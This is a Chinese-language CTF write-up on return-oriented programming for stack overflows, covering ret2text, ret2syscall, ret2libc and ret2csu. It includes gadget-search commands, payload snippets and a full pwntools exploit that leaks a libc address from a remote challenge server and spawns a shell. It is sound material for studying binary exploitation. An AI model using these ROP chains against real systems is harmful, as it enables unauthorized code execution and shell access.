ret2
1.ret2介紹
ret2其實就是利用一些零散的gaget的來設置好參數並且調用我們需要的函數,下面介紹一個gaget
pop rdi
ret
這個ret是最最最重要的,因為有他我們才能跳來跳去,把gaget組裝起來
找gaget有兩個工具
第一個ROPgaget(安裝了gdb-peda就有):
ROPgadget --binary 文件名 --only "要找的東西,比如pop rdi"
第二個ropper:
ropper --file 文件名 --search "要找的東西"
2、ret2text
1、棧溢出
給一個題目,開了nx,其他沒開,然后給了你system函數和binsh,那么這樣我們就可以構造gaget來調好參數並且調用system函數
x86:
看這個圖片,因為是32位,所以參數全部在棧上,所以我們直接把binsh地址放到棧上就行,要注意那"C"*4是把system的ret返回給覆蓋,因為system結束是會有個ret的,所以要覆蓋一下,這個可以根據情況看是否要覆蓋為main函數地址來重新執行一遍函數,然后再放參數binsh的地址就行了
x64:
payload=p64(pop_rdi)+p64(binsh)#我們設置參數,64位的話前6個參數是要在6個固定的寄存器里的,剩下的才在棧上
payload+=p64(system_plt)運用pop rdi后面的ret到執行system函數那去
這樣我們就成功的pwn了
3、ret2syscall
這個就是開了nx,然后沒給你system函數和binsh,那我們怎么辦?ret2syscalld(如果能泄露libc就當我沒說)
首先寫入binsh,那我們就要調用read函數,然后找個可讀可寫的地方把binsh讀入進去,然后再用execve來構造shell,這個可以去看看系列的第二篇,要注意,不管是x86還是x64,都要調寄存器
這個我們read函數直接查一下參數怎么調然后加上system發送就可以了,值得一說的就是我們在發送完payload還要發送binsh,所以為了避免兩個合並在一起發送要加個sleep,讓他暫停一會
4、ret2libc
這個也是開了nx然后沒給你system和binsh,和上一個不同的就是上一個需要程序中有輸入函數,而這一個剛好相反,需要有輸出函數,鑒於上周比賽剛好有一題,我就拿那題來示范一下,先看ida:
也就是有三個選擇,兩個溢出,我們來看看溢出
也就是一個溢出是棧上,一個是arr那個地方,我不知道第二個有啥用,第一個就能pwn了,這個溢出是棧溢出,要注意是在v3那個地方開始,然后我們發下有輸出函數,有輸入函數,我選擇的是ret2libc,當然retsyscall也行,我們來構思一下,首先利用puts這個輸出函數泄露出puts的got表地址然后去找libc庫是哪個,值得一提的是,這個不能用libcsearch,要去網站上查,然后我們找到libc后,直接用libc的binsh和system就好了。
exp:
from pwn import *
from LibcSearcher import LibcSearcher
from ctypes import *
context(os='linux', arch='amd64')
p = remote('123.56.242.200',10006)
elf=ELF('./pwn')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
read_got=elf.got['read']
read_plt=elf.plt['read']
pop_rdi=0x400a83
main=0x4007A7
p.recvuntil('>')
p.sendline(str(1))
p.recvuntil('here.')
payload=b'a'*0x18+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendline(payload)
print(p.recv())
puts_add=u64(p.recvuntil('\x0a')[:-1].ljust(8, b'\x00'))
p.recvuntil('>')
p.sendline(str(1))
p.recvuntil('here.')
sys=puts_add-0x2a300
binadd=puts_add+0x11d7b7
payload=b'a'*0x18+p64(pop_rdi)+p64(binadd)+p64(sys)
print(hex(binadd))
p.sendline(payload)
p.interactive()
5、ret2csu
不是每個程序都能找到足夠多的gaget來讓我們構造的,所以這時候我們就要來個萬能gaget了,這個是libc有關的一個函數,也就是說你只要是動態鏈接的程序必有這段gaget,讓我們來看看它
你看那個loc_400A76是不是可以調參數,再看看上面的loc_400A60還有個call,所以我們利用這個gaget就能夠構造rop鏈了,給個栗子
payload=b'a'*0x48+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)#我們這個puts函數只要調rdi就夠了所以我們直接找0x400A83這個pop r15就夠了
payload=b'a'*0x48+p64(pop6)+p64(0)+p64(1)+p64(read_got)+p64(8)+p64(binadd)+p64(0)+p64(mov3)+b'a'*56+p64(main)#這個我是再構造一個read函數,這時候我們所有的就都要了,從pop rbx開始,然后跳到上面的loc_400A60去也就是那個mov3,然后的a*56是因為我們A60執行完還會去執行下面的loc_400A76,那邊有很多pop,所以要覆蓋掉,要是直接用libc就不用這個了
p.send(payload)
p.recvuntil('bye~\x0a')
p.send('/bin/sh\0')
payload=b'a'*0x48+p64(pop_rdi)+p64(binadd)+p64(sys)#直接調用system